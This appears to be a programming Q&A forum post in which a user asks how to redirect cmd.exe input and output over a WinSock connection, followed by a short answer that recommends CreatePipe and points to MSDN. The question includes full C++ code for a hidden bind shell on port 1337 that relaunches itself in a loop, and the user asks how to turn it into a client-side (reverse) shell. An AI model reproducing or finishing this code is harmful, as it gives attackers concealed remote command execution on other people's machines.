werkamsus werkamsus - 3 months ago 20
C++ Question

StdIn / StdOut / StdErr redirection to WinSock connection

I've been trying to redirect the input and output of cmd.exe for quite some time now, and while i've figured out how to do it in c#, i'm still oblivious on how to properly implement it in c++.
The furthest i've gotten were with

popen()
which seems to reopen the process everytime i pass a command to it, resulting in the inability to use commands like cd, and with the following serverside function which i've been unable to port to clientside:

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include <iostream>

using namespace std;


void ServerStart()
{
WSADATA wsa;

SOCKET s;
SOCKADDR_IN sAddr;

USHORT port;

PROCESS_INFORMATION pi;
STARTUPINFO si;

port = 1337;//Set listening port

memset( &si, 0, sizeof( si ) );
si.cb = sizeof( si );
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;

sAddr.sin_addr.s_addr = INADDR_ANY;
sAddr.sin_port = (port >> 8) | (port << 8);
sAddr.sin_family = AF_INET;

WSAStartup( 0x0202, &wsa );

s = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 );
bind( s, (LPSOCKADDR)&sAddr, sizeof( sAddr ) );
listen( s, 5 );

__asm
{
push ebx
mov ebx, s
}
s = accept( s, NULL, NULL );//Accept Client
__asm
{
push ebx
call DWORD PTR [closesocket]//Close if error.
pop ebx
}

si.hStdInput = (HANDLE)s;
si.hStdOutput = (HANDLE)s;
si.hStdError = (HANDLE)s;

CreateProcess( NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi );//Start the remote process

WaitForSingleObject( pi.hProcess, INFINITE );//Allow Client to control remote process

CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
closesocket( s );

WSACleanup();
ServerStart();//Server Start Loop
}


I'd appreciate any help or advice on how to do the same as the above without the listening part. Thanks in advance :)

Answer

You cannot use WinSock socket handles directly for stdin/out/err redirection. Use pipes from CreatePipe() instead. You will have to write extra code that

  • reads inbound data from the socket and writes it to the stdin pipe
  • reads data from the stdout/err pipes and writes it to the socket.

MSDN has an example of using pipes for the redirection:

Creating a Child Process with Redirected Input and Output

Comments